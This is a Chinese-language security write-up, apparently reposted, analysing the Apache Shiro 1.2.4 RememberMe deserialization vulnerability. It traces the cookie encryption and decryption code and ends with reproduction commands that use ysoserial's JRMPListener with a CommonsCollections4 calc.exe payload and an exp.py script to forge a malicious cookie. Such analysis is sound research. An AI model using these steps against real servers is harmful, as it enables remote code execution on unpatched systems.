Shiro反序列化分析


環境

jdk:1.8

shiro:1.2.4

Shiro簡介

  Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、授權、密碼和會話管理。使用Shiro的易於理解的API,您可以快速、輕松地獲得任何應用程序,從最小的移動應用程序到最大的網絡和企業應用程序。

漏洞原理

  Apache Shiro框架提供了記住我的功能(RememberMe),用戶登陸成功后會生成經過加密並編碼的cookie。cookie的key為RememberMe,cookie的值是經過對相關信息進行序列化,然后使用aes加密,最后在使用base64編碼處理形成的。
  rememberMe生成過程:
  序列化 》AES加密》Base64 編碼》 生成rememberMe內容
  服務端接收cookie值時:
  檢索cookie中的rememberMe內容 》 Base64 解密》 AES解密 (加密密鑰硬編碼)》反序列化(未作過濾處理)
  AES的加密密鑰在shiro的1.2.4之前版本中使用的是硬編碼,其默認密鑰的base64編碼后的值可在代碼中找到。只要找到密鑰后就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密並觸發反序列化漏洞。
漏洞分析
1.加密過程

  勾選rememberme進行登錄。

 

  在AbstractRememberMeManager類中的encrypt方法處下斷點。在驗證登錄成功后,serialized的值為用戶名root序列化后的數據。

   查看cipherService值,發現使用AES加密,模式為CBC,128位,填充方式為PKCS5Padding。

   跟進cipherService.encrypt方法后,進入JcaCipherService類中的encrypt方法中。

   繼續跟進encrypt方法。

   真正的生成加密結果。

   來到rememberSerializedIdentity方法,跟進后,加密的數據經base64編碼加入到cookie中。

2.解密過程

  在CookieRememberMeManager類中的讀取cookie處下斷點。

  進入readValue()方法,將cookie中的remember字段值賦予value並返回。

   對數據進行base64解碼。

   進入AbstractRememberMeManager類中的convertBytesToPrincipals方法。

  跟進decrypt方法。

  在decrypt方法中,跟進getCipherService方法。

  在getCipherService方法中,獲取加密方法:AES/CBC/PKCS5Padding。

   繼續查看decrypt方法,通過cipherService的decrypt來解密數據,跟進后進入JcaCipherService類中的decrypt方法。

  繼續跟進decrypt方法。

  完成解密后,返回解密后的數據。

  回到AbstractRememberMeManager 類中的decrypt方法,查看序列化數據。

  來到deserialize方法,跟進。

  繼續跟進deserialize方法。

  進入DefaultSerializer類中的deserialize方法,出現readObject()。

漏洞復現

1.使用ysoserial中JRMP監聽模塊監聽1099端口,執行命令:calc.exe。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "calc.exe"

2.生成rememberMe。

python exp.py 192.168.1.102:1099

3.將生成的rememberMe值添加到cookie中。

 4.命令成功執行。

參考鏈接:

https://xz.aliyun.com/t/8997#toc-1

https://www.jianshu.com/p/a9c2d3414b63

https://cloud.tencent.com/developer/article/1078421


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM